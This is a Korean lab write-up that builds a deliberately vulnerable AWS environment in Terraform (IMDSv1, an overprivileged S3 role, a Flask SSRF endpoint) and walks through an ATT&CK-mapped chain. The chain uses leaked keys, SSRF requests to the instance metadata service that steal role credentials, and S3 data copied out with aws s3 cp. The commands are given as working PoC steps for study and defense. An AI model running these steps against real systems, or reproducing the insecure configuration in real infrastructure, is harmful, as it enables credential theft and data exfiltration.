AWS 공격 시나리오 01AWS 공격 시나리오 01

AWS 공격 시나리오 01

생성 일시
Aug 21, 2026 02:07 PM
최종 편집 일시
Last updated August 21, 2026
태그
AWS
ATTACK
작성자
@박윤하
Date

AWS IAM Key 유출 및 IMDSv1 SSRF를 통한 S3 데이터 유출

간단한 사전 지식

SSRF는 공격자가 웹 애플리케이션에 악의적인 요청을 보내 웹 서버로 하여금 공격자가 의도한 내부 또는 외부 자원에 대리 HTTP 요청을 보내도록 만드는 취약점이다.
→ 웹 애플리케이션이 외부 URL의 데이터를 가져오는 기능을 수행할 때, 사용자가 입력한 URL 인자에 대해 적절한 검증을 거치지 않기 때문이다.
IMDSv1은 AWS EC2 인스턴스 내부에서 실행 중인 코드나 프로세스가 인스턴스 속성, 호스트 이름, 네트워크 설정, IAM Role 자격 증명 등의 정보에 접근할 수 있도록 제공되는 내부 REST API 엔드포인트 이다.
→ 특수 IP 주소http://169.254.169.254 오직 EC2 인스턴스 내부에서만 접근 가능

개요

외부 공격자가 유출된 IAM Key 및 EC2 SSRF 취약점을 악용하여 내부 AWS 인프라에 접근하고, 민감 S3 버킷의 데이터를 외부로 유출하는 시나리오

공격 대상

AWS IAM, EC2, S3 Bucket

MITRE ATT&CK Matrix 매핑

  1. Credential Access (자격 증명 접근)
  • 기법 ID : T1552.001
  • 기술명 : Unsecured Credentials( 보호되지 않은 자격 증명 / 소스코드 및 파일 내 자격 증명 노출) : Credentials In Files
  • 공격자가 타겟 환경 내부로 처음 진입하기 위해, GitHub Public 저장소나 설정 파일 등에 실수로 노출된 AWS Access Key / Secret Key 같은 자격 증명을 탈취하여 진입하는 단계이다.
 
  1. Discovery (발견)
  • 기법 ID : T1087.004
  • 기술명 : Account Discovery : Cloud Account (클라우드 계정 정보 검색)
  • 최초 진입에 성공한 공격자가 타겟 클라우드 환경의 권한 및 계정 구조를 파악하는 단계이다. aws sts get-caller-identity 명령어를 통해 자신의 권한과 계정 정보를 확인한다.
 
  1. Credential Access (자격 증명 접근)
  • 기법 ID : T1552.005
  • 기술명 : Unsecured Credentials : Cloud Instance Metadata API(클라우드 인스턴스 메타데이터 접근)
  • 침투한 서버 내부의 메타데이터 서비스에 접근하여 더 높은 권한을 가진 임시 IAM Role 토큰을 탈취하는 단계이다. 웹 애플리케이션의 SSRF 취약점 등을 악용하여 메타데이터를 조회하고 권한을 확보할 수 있다.
 
  1. Exfiltration (데이터 유출)
  • 기법 ID : T1537
  • 기술명 : Transfer Data to Cloud Account(타 클라우드 계정으로 데이터 전송)
  • 공격자가 목적을 달성하는 마지막 단계이다. 확보한 IAM 권한을 이용해 타겟 환경(S3 등)의 민감한 데이터를 공격자 소유의 외부 클라우드 계정이나 Storage로 유출 (aws s3 sync 등)하는 행위이다.

MITRE ATT&CK Navigator

  • 1~10점으로 심각도를 설정했다. (높을수록 심각)
  • 1~3인 기법은 노랑색
  • 4~7인 기법은 주황색
  • 8~10인 기법은 빨간색
image.png
image.pngimage.png

취약한 AWS 환경 구축

main.tf

# 1. 네트워크 기본 구성 (VPC & Public Subnet) # AWS 클라우드 안에 다른 사용자와 격리된 독립적인 논리적 네트워크 공간 할당 resource "aws_vpc" "scenario_vpc" { cidr_block = "10.0.0.0/16" # 이 네트워크 망 안에서 사용할 IP대역 지정 10.0.0.0 부터 10.0.255.255까지 할당 enable_dns_hostnames = true # VPC 내부에 생성되는 EC2 인스턴스에 도메인 이름이 자동으로 부여 tags = { Name = "${var.project_name}-vpc" } } resource "aws_subnet" "public_subnet" { vpc_id = aws_vpc.scenario_vpc.id # 위에서 생성한 VPC의 ID를 참조하여 연결 cidr_block = "10.0.1.0/24" # 서브넷이 사용할 IP 범위 지정 (10.0.1.0 ~ 10.0.1.255), EC2들 끼리 통신하기 위한.. map_public_ip_on_launch = true # 이 서브넷에 생성되는 EC2에 퍼블릭 IP를 자동 부여 tags = { Name = "${var.project_name}-public-subnet" } } resource "aws_internet_gateway" "igw" { # 사설망(VPC내부)과 외부 인터넷 사이를 이어주는 게이트웨이 vpc_id = aws_vpc.scenario_vpc.id tags = { Name = "${var.project_name}-igw" } } resource "aws_route_table" "public_rt" { # 라우팅 테이블 어디로 가야하오.. vpc_id = aws_vpc.scenario_vpc.id route { cidr_block = "0.0.0.0/0" # EC2 내부에서 외부로 나갈때 10.0.x.x 가아니고 0.0.0.0/0(외부 IP) 이면 gateway_id = aws_internet_gateway.igw.id # 게이트웨이로 일단 가 } } resource "aws_route_table_association" "public_assoc" { subnet_id = aws_subnet.public_subnet.id # 위에서 만든 서브넷 (10.0.1.0/24) route_table_id = aws_route_table.public_rt.id # 서브넷에 연결할 라우팅 테이블의 id 지정 } # 2. 취약한 보안 그룹 (Security Group) resource "aws_security_group" "web_sg" { # 취약한 방화벽 name = "vulnerable-web-sg" # 보안 그룹 이름 description = "Allow Inbound HTTP and SSH" # 그에 대한 설명 vpc_id = aws_vpc.scenario_vpc.id ingress { from_port = 80 to_port = 80 # 80번 포트로 들어오는 패킷을 지정한다. protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] # 전 세계 모든 IP주소에서 들어오는 웹 접속 요청 허용(SSRF 취약 웹 서버 curl로 접근) } # 443포트 사용 + URL 검증 # ingress -> 인바운드 ingress { from_port = 22 to_port = 22 # 22번 포트를 지정 protocol = "tcp" cidr_blocks = ["0.0.0.0/0"] # 원래는 특정 관리자 IP 만 허용해야 함 } # egress -> 아웃바운드 egress { from_port = 0 to_port = 0 protocol = "-1" cidr_blocks = ["0.0.0.0/0"] } tags = { Name = "${var.project_name}-sg" } } # 3. 공격 타겟 S3 버킷 resource "aws_s3_bucket" "target_bucket" { bucket_prefix = "secops-target-sensitive-data-" force_destroy = true tags = { Name = "${var.project_name}-target-bucket" } } # 4. 과도한 권한의 IAM Role resource "aws_iam_role" "ec2_role" { name = "vulnerable-ec2-iam-role" assume_role_policy = jsonencode({ # 이 역할은 누가 쓰는가 Version = "2012-10-17" Statement = [{ Action = "sts:AssumeRole" Effect = "Allow" Principal = { Service = "ec2.amazonaws.com" } # EC2가 쓴다. }] }) } resource "aws_iam_role_policy_attachment" "s3_full_access" { role = aws_iam_role.ec2_role.name policy_arn = "arn:aws:iam::aws:policy/AmazonS3FullAccess" #AWS가 제공하는 관리자급 권한 정책 AmazonS3FullAccess 적용 } # 계정 내 모든 S3를 제어할 수 있는 권한 -> 자기가 사용하는 특정 버킷에 대한 파일 업로드/다운로드 정도만 # EC2에게 권한을 쥐어줌... EC2는 이 권한을 사용하기 위해 내부 메타데이터 서버로부터 임시 IAM 자격 증명을 받아서 가지고 있다. resource "aws_iam_instance_profile" "ec2_profile" { name = "vulnerable-ec2-instance-profile" # IAM Role을 실제 EC2 인스턴스에 물리적으로 연결하기 위한 인스턴스 프로필을 만드는 설정 role = aws_iam_role.ec2_role.name } # 5. 취약한 EC2 인스턴스 (IMDSv1 허용) data "aws_ami" "ubuntu" { # 우분투 가져오기 most_recent = true filter { name = "name" values = ["ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server-*"] } filter { name = "virtualization-type" values = ["hvm"] } owners = ["099720109477"] # Canonical } resource "aws_instance" "vulnerable_ec2" { ami = data.aws_ami.ubuntu.id instance_type = "t3.micro" subnet_id = aws_subnet.public_subnet.id # 서브넷 적용 vpc_security_group_ids = [aws_security_group.web_sg.id] # 위에서 만든 보안 그룹 적용 iam_instance_profile = aws_iam_instance_profile.ec2_profile.name # IAM Role EC2에 적용 metadata_options { http_endpoint = "enabled" #IMDS 서비스 활성화 http_tokens = "optional" # IMDSv1 허용 -> IMDSV2로 강제하려면 required로 바꿔야 함 http_put_response_hop_limit = 1 } # [SSRF 취약 웹 서버 자동 설치 및 구동] user_data = <<-EOF #!/bin/bash apt-get update -y apt-get install -y python3-flask python3-requests cat << 'PYEOF' > /home/ubuntu/app.py from flask import Flask, request import requests app = Flask(__name__) @app.route('/') def ssrf(): url = request.args.get('url') if not url: return "SSRF Vulnerable Endpoint. Usage: /?url=http://..." try: res = requests.get(url, timeout=3) return res.text except Exception as e: return str(e), 500 if __name__ == '__main__': app.run(host='0.0.0.0', port=80) PYEOF python3 /home/ubuntu/app.py & EOF tags = { Name = "${var.project_name}-vulnerable-ec2" } }

provider.tf

terraform { required_version = ">= 1.0.0" required_providers { aws = { source = "hashicorp/aws" version = "~> 5.0" } } } provider "aws" { region = var.aws_region }

varibales.tf

variable "aws_region" { description = "AWS 리전 설정" type = string default = "ap-northeast-2" } variable "project_name" { description = "프로젝트 태그 명칭" type = string default = "secops-attack-scenario" }
terrafrom init # 초기화 단계 # 작성한 .tf 파일을 읽고, 필요한 플러그인을 가져와 해당 폴더 안에 세팅하는 명령어
 
image.pngimage.png
terraform plan # 계획 단계 # AWS에 자원을 만들기 전에 작성된 코드대로 만들면 AWS에 어떤 일이 생기는지 알려주는 명령어
image.pngimage.png
terraform apply # 코드 대로 인프라 구축/배포 명령어 삭제 -> terraform destory # apply를 입력하면 terraform plan을 먼저 수행, 어떤 자원이 추가(+), 수정(~), 삭제(-)될지 화면에 출력 # 승인을 하면 aws 인프라 순서대로 생성 # 생성이 완료되면 AWS에 만들어진 자원들의 정보를 기록한 terraform.tfstate 생성
 
image.pngimage.png
image.pngimage.png
image.pngimage.png

타겟 S3 버킷 확인, 민감 데이터 업로드

aws s3 ls
 
image.pngimage.png
main.[tf](http://provider.tf) 기반으로 생성된 S3 버킷 이름 확인
aws s3 cp vulnerable_data.txt s3://secops-target-sensitive-data-20260803112846710300000001/
 
image.pngimage.png
S3에 민감 데이터 업로드

MITRE ATT&CK 기반 PoC

1. Credential Access(자격 증명 접근) - Unsecured Credentials(보호되지 않은 자격 증명)

공격자는 Github에서 하드 코딩된 AWS Access Key/Secret Key를 획득하였다.
터미널에서 환경 변수를 등록하고 타겟 환경에 접속한다.
export AWS_ACCESS_KEY_ID="Access_Key" export AWS_SECRET_ACCESS_KEY="Secret_Key" export AWS_DEFAULT_REGION="ap-northeast-2"
환경 변수를 등록한 후, 해당 자격 증명으로 접속이 성공했는지 확인
aws sts get-caller-identity
 
image.pngimage.png
ID와 IAM 사용자 정보인 Arn 을 확인하였다. Arn에서 root 계정인 것을 확인
자격 증명 탈취 성공

2. Discovery(발견) - Cloud Account(클라우드 계정 정보 검색)

최초 진입에 성공한 공격자가 타겟 클라우드 환경의 권한 및 계정 구조를 파악하는 단계이다. aws sts get-caller-identity 명령어를 통해 자신의 권한과 계정 정보를 확인한다. 1단계에서 root 인 것을 확인하였다.
그리고 계정에 켜져 있는 EC2 서버가 있는지, 공격 시도를 보낼 Public IP 로 설정된 EC2서버가 있는지를 탐색하여 침투할 대상을 정확히 식별해 내는 명령어이다.
aws ec2 describe-instances \ --filters "Name=tag:Name,Values=secops-attack-scenario-vulnerable-ec2" \ --query "Reservations[*].Instances[*].[InstanceId, PublicIpAddress, State.Name]" \ --output table
  • aws ec2 describe-instances
  • EC2에서 생성되어 있는 인스턴스들을 보여준다.
  • EC2 상태 및 설정 정보를 요청하는 기본 API 호출 명령어
  • -filters "Name=tag:Name,Values=secops-attack-scenario-vulnerable-ec2"
  • 모든 EC2를 다 가져오지 않고 태그 중 Name 항목의 값이 secops-attack-scenario-vulnerable-ec2인 인스턴스만 필터링
  • 환경 구축할 때 테라폼으로 배포했던 취약한 EC2 인스턴스를 가져오기 위해 사용
  • -query "Reservations[*].Instances[*].[InstanceId, PublicIpAddress, [State.Name](http://state.name/)]"
  • 인스턴스 ID, 공인 IP 주소, 가동 상태 항목만 추출
  • aws ec2 describe-instances 명령어로 출력하면 JSON 형식으로 출력해 보기 어렵기 때문에, 핵심 정보만 깔끔하게 출력
  • -output table
  • 추출한 결과를 JSON 형식이 아니라 표 형식으로 출력한다.
 
image.pngimage.png

3. Credential Access(자격 증명 접근) - Unsecured Credentials : Cloud Instance Metadata API(클라우드 인스턴스 메타데이터 접근)

공격자는 EC2의 SSRF 취약점을 통해 내부 메타데이터 서버(169.254.169.254)에 접근한다. EC2에 부여된 IAM Role의 임시 자격 증명을 탈취하는 단계이다.
curl -g "http://3.34.138.129/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
 
image.pngimage.png
현재 EC2 인스턴스에 연결되어 있는 IAM Role을 확인한다.
Role 이름은 vulnerable-ec2-iam-role
  • /latest/meta-data/iam/security-credentials/ 경로까지만 요청하면 AWS 메타데이터 서버는 어떤 Role이 할당되어 있는지 그 이름 목록을 텍스트로 보여준다.
  • 공격자는 이 응답을 통해 Role 이름을 파악, 다음 명령어에서 경로 뒤에 Role 이름을 붙여 요청하면 AccessKey, SecretKey, Session Token이 포함된 JSON 데이터를 탈취한다.
curl -g "http://3.34.138.129/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/vulnerable-ec2-iam-role"
 
image.pngimage.png
위에서 확인한 Role 이름을 붙여 임시 자격 증명을 탈취한다.

4. Exfilltration(데이터 유출) - Transfer Data to Cloud Account(다른 클라우드 계정으로 데이터 전송)

공격자가 목적을 달성하는 마지막 단계이다. 확보한 IAM 권한을 이용해 타겟 환경(S3 등)의 민감한 데이터를 공격자 소유의 외부 클라우드 계정이나 Storage로 유출 (aws s3 sync 등)하는 행위이다.
# 기존 AWS 환경변수 초기화 unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN AWS_DEFAULT_REGION export AWS_ACCESS_KEY_ID="[3단계에서_얻은_AccessKeyId]" export AWS_SECRET_ACCESS_KEY="[3단계에서_얻은_SecretAccessKey]" export AWS_SESSION_TOKEN="[3단계에서_얻은_Token]" export AWS_DEFAULT_REGION="ap-northeast-2"
SSRF를 통해 얻은 Access_key, Secret_access_key, Session_token을 환경 변수로 등록한다.
aws sts get-caller-identity
 
image.pngimage.png
권한 탈취에 성공하였다.
이 자격 증명으로 S3 버킷에 접근하여 민감 파일을 탈취하자
aws s3 ls
 
image.pngimage.png
S3에 있는 버킷들을 확인한다.
aws s3 ls s3://secops-target-sensitive-data-20260803112846710300000001/
 
image.pngimage.png
아까 넣어놨던 민감 데이터가 들어있다.
aws s3 cp s3://secops-target-sensitive-data-20260803112846710300000001/vulnerable_data.txt ./steal_data.txt
 
image.pngimage.png
민감 데이터를 로컬 환경으로 복사한다.
 
image.pngimage.png